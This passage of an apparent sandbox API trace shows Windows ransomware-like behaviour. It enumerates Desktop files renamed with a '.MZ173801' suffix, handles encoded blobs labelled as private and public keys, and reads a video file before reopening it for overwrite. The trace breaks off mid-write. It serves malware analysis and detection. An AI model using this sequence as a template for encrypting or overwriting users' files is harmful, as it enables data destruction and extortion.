| out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2352ce0, ftCreationTime.dwHighDateTime=0x1d5e514, ftLastAccessTime.dwLowDateTime=0xbed1e0, ftLastAccessTime.dwHighDateTime=0x1d5e234, ftLastWriteTime.dwLowDateTime=0x92c7ad1b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1e0c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-LTq6n--dr.csv.MZ173801", cAlternateFileName="-LTQ6N~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83610510, ftCreationTime.dwHighDateTime=0x1d5ebb1, ftLastAccessTime.dwLowDateTime=0x7e634950, ftLastAccessTime.dwHighDateTime=0x1d5e3a6, ftLastWriteTime.dwLowDateTime=0x92ced1b3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x180b1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4INyJO0f5yuE.docx.MZ173801", cAlternateFileName="4INYJO~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc5f4260, ftCreationTime.dwHighDateTime=0x1d5e693, ftLastAccessTime.dwLowDateTime=0x183b76f0, ftLastAccessTime.dwHighDateTime=0x1d5e9cf, ftLastWriteTime.dwLowDateTime=0x92e1e36b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17cd9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4kpRSbPC8pfSAYGf06z.mp4.MZ173801", cAlternateFileName="4KPRSB~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.168] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d73f50, ftCreationTime.dwHighDateTime=0x1d5e616, ftLastAccessTime.dwLowDateTime=0xaf220e30, ftLastAccessTime.dwHighDateTime=0x1d5e6c8, ftLastWriteTime.dwLowDateTime=0x92e4470f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16d21, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="8e3KCLHl2g3Xva.pptx.MZ173801", cAlternateFileName="8E3KCL~1.MZ1")) returned 1 [0177.168] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.168] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.168] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x75bf49b0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x75bf49b0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9qqaMDM", cAlternateFileName="")) returned 1 [0177.168] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.168] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.168] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x75bf49b0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x75bf49b0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0177.168] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1fdf60, ftCreationTime.dwHighDateTime=0x1d5efad, ftLastAccessTime.dwLowDateTime=0x75bf49b0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x75bf49b0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0177.168] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07b6ee0, ftCreationTime.dwHighDateTime=0x1d5ef4e, ftLastAccessTime.dwLowDateTime=0xe69ea2c0, ftLastAccessTime.dwHighDateTime=0x1d5e46a, ftLastWriteTime.dwLowDateTime=0xe69ea2c0, ftLastWriteTime.dwHighDateTime=0x1d5e46a, nFileSizeHigh=0x0, nFileSizeLow=0x130e0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="4Zbv0xLp.mkv", cAlternateFileName="")) returned 1 [0177.168] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0177.168] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0177.168] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07b6ee0, ftCreationTime.dwHighDateTime=0x1d5ef4e, ftLastAccessTime.dwLowDateTime=0xe69ea2c0, ftLastAccessTime.dwHighDateTime=0x1d5e46a, ftLastWriteTime.dwLowDateTime=0xe69ea2c0, ftLastWriteTime.dwHighDateTime=0x1d5e46a, nFileSizeHigh=0x0, nFileSizeLow=0x130e0)) returned 1 [0177.168] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv")) returned 0x20 [0177.168] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv", dwFileAttributes=0x80) returned 1 [0177.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.172] GetCurrentThreadId () returned 0xab4 [0177.172] GetCurrentThreadId () returned 0xab4 [0177.172] GetCurrentThreadId () returned 0xab4 [0177.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.173] GetCurrentThreadId () returned 0xab4 [0177.173] GetCurrentThreadId () returned 0xab4 [0177.173] GetCurrentThreadId () returned 0xab4 [0177.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.173] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0177.173] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.173] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x130e0 [0177.174] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.174] ReadFile (in: hFile=0x32c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x130e0, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x130e0, lpOverlapped=0x0) returned 1 [0177.175] CloseHandle (hObject=0x32c) returned 1 [0177.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.179] WriteFile (in: 